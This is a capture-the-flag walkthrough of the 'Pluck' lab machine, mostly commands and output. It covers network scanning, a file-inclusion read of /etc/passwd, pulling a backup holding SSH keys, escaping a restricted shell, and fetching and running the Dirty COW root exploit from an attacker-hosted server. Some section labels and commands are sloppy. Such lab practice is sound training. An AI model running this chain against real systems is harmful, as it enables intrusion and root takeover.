

## pluck

6 Captured ARP Req/Rep packets, from 4 hosts. Total size: 360

IP	At MAC Address	Count	Len	MAC Vendor / Hostname
192.168.31.1	00:50:56:c0:00:08	3	180	VMware, Inc.
192.168.31.2	00:50:56:e5:d7:98	1	60	VMware, Inc.
192.168.31.156	00:0c:29:b6:87:cc	1	60	VMware, Inc.
192.168.31.254	00:50:56:e2:76:45	1	60	VMware, Inc.

## nmap

```
root@kali:~# nmap -Pn -n -A 192.168.31.156
Starting Nmap 7.70 ( https://nmap.org ) at 2019-09-16 11:46 EDT
Nmap scan report for 192.168.31.156
Host is up (0.00085s latency).
Not shown: 997 closed ports
PORT      STATE SERVICE VERSION
22/tcp    open  ssh      OpenSSH 7.3p1 Ubuntu 1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 e8:87:ba:3e:d7:43:23:bf:4a:6b:9d:ae:63:14:ea:71 (RSA)
| 256 8f:8c:ac:8d:e8:cc:f9:0e:89:f7:5d:a0:6c:28:56:fd (ECDSA)
|_ 256 18:98:5a:5a:5c:59:e1:25:70:1c:37:1a:f2:c7:26:fe (ED25519)
80/tcp    open  http      Apache httpd 2.4.18 ((Ubuntu))
|_ http-server-header: Apache/2.4.18 (Ubuntu)
|_ http-title: Pluck
3306/tcp  open  mysql     MySQL (unauthorized)
MAC Address: 00:0C:29:B6:87:CC (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT    ADDRESS
1 0.85 ms 192.168.31.156

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds
dir
```

## nikto

```
root@kali:~# nmap -Pn -n -A 192.168.31.156
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Network Distance: 1 hop  
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TRACEROUTE  
HOP RTT ADDRESS  
1 0.85 ms 192.168.31.156

OS and Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .  
Nmap done: 1 IP address (1 host up) scanned in 10.81 seconds

## web vuln

<http://192.168.31.156/index.php?page=../../../../../../../../etc/passwd>

```
root:x:0:0:root:/root:/bin/bashdaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologinbin:x:2:2:bin:/bin:/usr/sbin/nologinsys:x:3:3:sys:/dev:/usr/sbin/nologinsync:x:4:65534:sync:/bin:/bin/syncgames:x:5:60:games:/usr/games:/usr/sbin/nologinman:x:6:12:man:/var/cache/man:/usr/sbin/nologinlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologinmail:x:8:8:mail:/var/mail:/usr/sbin/nologinnews:x:9:9:news:/var/spool/news:/usr/sbin/nologinuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologinproxy:x:13:13:proxy:/bin:/usr/sbin/nologinwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologinbackup:x:34:34:backup:/var/backups:/usr/sbin/nologinlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologinirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologingnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologinnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologinsystemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/falsesystemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/falsesystemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/falsesystemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/falsesyslog:x:104:108:/home/syslog:/bin/false_apt:x:105:65534:/nonexistent:/bin/falsemessagebus:x:106:109:/var/run/dbus:/bin/falsemysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/falsexd:x:108:65534:/var/lib/xd:/bin/falseuidd:x:109:114:/run/uid:/bin/falseudm:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/falsesshd:x:111:65534:/var/run/sshd:/usr/sbin/nologinpollinate:x:112:1:/var/cache/pollinate:/bin/falsebob:x:1000:1000:bob,,,:/home/bob:/bin/bashDebian-exim:x:113:119:/var/spool/exim4:/bin/falsepeter:x:1001:1001,,,:/home/peter:/bin/bashpaul:x:1002:1002,,,:/home/paul:/usr/bin/pdmenubackup-user:x:1003:1003:just to make backups easier,,,:/backups:/usr/local/scripts/backup.sh
```

## curl

```
url http://192.168.31.156/index.php?page=../../../../../../../../usr/local/scripts/backup.sh
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Pluck</title>
<link rel="stylesheet" href="/css/bootstrap.min.css">
<link rel="stylesheet" href="/css/bootstrap-theme.min.css">
<script src="/js/jquery.min.js"></script>
<script src="/js/bootstrap.min.js"></script>
</head>
<body>
<nav id="myNavbar" class="navbar navbar-default navbar-inverse navbar-fixed-top" role="navigation">
  <!-- Brand and toggle get grouped for better mobile display -->
  <div class="container">
    <div class="navbar-header">
      <button type="button" class="navbar-toggle" data-toggle="collapse" data-target="#navbarCollapse">
        <span class="sr-only">Toggle navigation</span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
        <span class="icon-bar"></span>
      </button>
      <a class="navbar-brand" href="/">Pluck</a>
    </div>
```

```

<!-- Collect the nav links, forms, and other content for toggling -->
<div class="collapse navbar-collapse" id="navbarCollapse">
  <ul class="nav navbar-nav">
    <li><a href="/">Home</a></li>
    <li><a href="index.php?page=about.php">About</a></li>
    <li><a href="index.php?page=contact.php">Contact Us</a></li>
    <li><a href="admin.php">Admin</a></li>
  </ul>
</div>
</nav>
<div class="container">
<br><br><br><br>
  <div class=jumbotron>#!/bin/bash

#####
# Server Backup script #
#####

#Backup directories in /backups so we can get it via tftp

echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/null 2& > /dev/null
echo "Backup complete"
</div><br>  <hr>
  <div class="row">
    <div class="col-sm-12">
      <footer>
        <p>© Copyright 2017 Pluck</p>
      </footer>
    </div>
  </div>
</div>
</body>
</html>

```

root@kali:~# ]

## backup data

<http://192.168.31.156/index.php?page=../../../../../usr/local/scripts/backup.sh>

```

#!/bin/bash##### Server Backup script #####Backup
directories in /backups so we can get it via tftp
echo "Backing up data"
tar -cf /backups/backup.tar /home /var/www/html > /dev/
null 2& > /dev/nullecho "Backup complete"

```

```

root@kali:~# tftp 192.168.31.156
tftp> get backup.tar
Received 1824718 bytes in 2.8 seconds
tftp>

```

```

root@kali:~# ls
17.pl  backup.tar  Downloads  hash.txt  Music  Public  Videos
42031.py  Desktop  file  hydra.restore  nmap.xml  result.xml
45000.c  Documents  file.txt  lol.pcap  Pictures  Templates

```

click me	click me
	wget http://192.168.1.115/index.php?page=/backups/backup.tar

**tar -xf backup.rar**

```
root@kali:~/Desktop/machine/pluck/home# ls -la *
bob:
total 20
drwxr-xr-x 2 1000 1000 4096 Jan 18 2017 .
drwxr-xr-x 5 root root 4096 Jan 18 2017 ..
-rw-r--r-- 1 1000 1000 220 Jan 18 2017 .bash_logout
-rw-r--r-- 1 1000 1000 3771 Jan 18 2017 .bashrc
-rw-r--r-- 1 1000 1000 655 Jan 18 2017 .profile
-rw-r--r-- 1 1000 1000 0 Jan 18 2017 .sudo_as_admin_successful
```

```
paul:
total 24
drwxr-xr-x 3 1002 1002 4096 Jan 18 2017 .
drwxr-xr-x 5 root root 4096 Jan 18 2017 ..
-rw-r--r-- 1 1002 1002 220 Jan 18 2017 .bash_logout
-rw-r--r-- 1 1002 1002 3771 Jan 18 2017 .bashrc
drwxrwxr-x 2 1002 1002 4096 Jan 18 2017 keys
-rw-r--r-- 1 1002 1002 655 Jan 18 2017 .profile
```

```
peter:
total 20
drwxr-xr-x 2 1001 1001 4096 Jan 18 2017 .
drwxr-xr-x 5 root root 4096 Jan 18 2017 ..
-rw-r--r-- 1 1001 1001 220 Jan 18 2017 .bash_logout
-rw-r--r-- 1 1001 1001 3771 Jan 18 2017 .bashrc
-rw-r--r-- 1 1001 1001 655 Jan 18 2017 .profile
root@kali:~/Desktop/machine/pluck/home#
```

```
root@kali:~/Desktop/machine/pluck/home# cd paul/keys/
root@kali:~/Desktop/machine/pluck/home/paul/keys# ls
id_key1 id_key1.pub id_key2 id_key2.pub id_key3 id_key3.pub id_key4 id_key4.pub id_key5 id_key5.pub id_key6
id_key6.pub
```

since we are in paul user so we will go for this user

with ssh keys

try all with ssh -i id\_key4 paul@192.168.31.156

edit the file

```
; /bin/bash
```

```
:q!
```

```
:q
```

boom !!!

shell returned 1

Press ENTER or type command to continue

```
$ ls
```

```
keys
```

```
$ bash
```

```
paul@pluck:~$
```

you got shell

```
-----
uname -a
```

---

## try dirty cow

<https://www.exploit-db.com/exploits/40616>

start python server -- download exploit in home directory

python -m SimpleHTTPServer 80

---

## final root

cd /tmp

wget http://ip/shell.c

---

paul@pluck:/tmp\$ gcc 40616.c -o cowroot -pthread

40616.c: In function 'proccselfmemThread':

40616.c:99:17: warning: passing argument 2 of 'lseek' makes integer from pointer without a cast [-Wint-conversion]

lseek(f,map,SEEK\_SET);

^~~~

In file included from 40616.c:28:0:

/usr/include/unistd.h:337:16: note: expected '\_\_off\_t {aka long int}' but argument is of type 'void \*'

extern \_\_off\_t lseek (int \_\_fd, \_\_off\_t \_\_offset, int \_\_whence) \_\_THROW;

^~~~~~

40616.c: In function 'main':

40616.c:136:5: warning: implicit declaration of function 'asprintf' [-Wimplicit-function-declaration]

asprintf(&backup, "cp %s /tmp/bak", suid\_binary);

^~~~~~

40616.c:140:5: warning: implicit declaration of function 'fstat' [-Wimplicit-function-declaration]

fstat(f,&st);

^~~~~~

40616.c:142:30: warning: format '%d' expects argument of type 'int', but argument 2 has type '\_\_off\_t {aka long int}' [-Wformat=]

printf("Size of binary: %d\n", st.st\_size);

^

paul@pluck:/tmp\$ ls

40616.c

cowroot

systemd-private-20f0259ed0b54cfea5710e0fdd423e1e-systemd-timesyncd.service-prUOFh

paul@pluck:/tmp\$ ./cowroot

DirtyCow root privilege escalation

Backing up /usr/bin/passwd.. to /tmp/bak

Size of binary: 54256

Racing, this may take a while..

thread stopped

/usr/bin/passwd is overwritten

Popping root shell.

Don't forget to restore /tmp/bak

thread stopped

root@pluck:/tmp#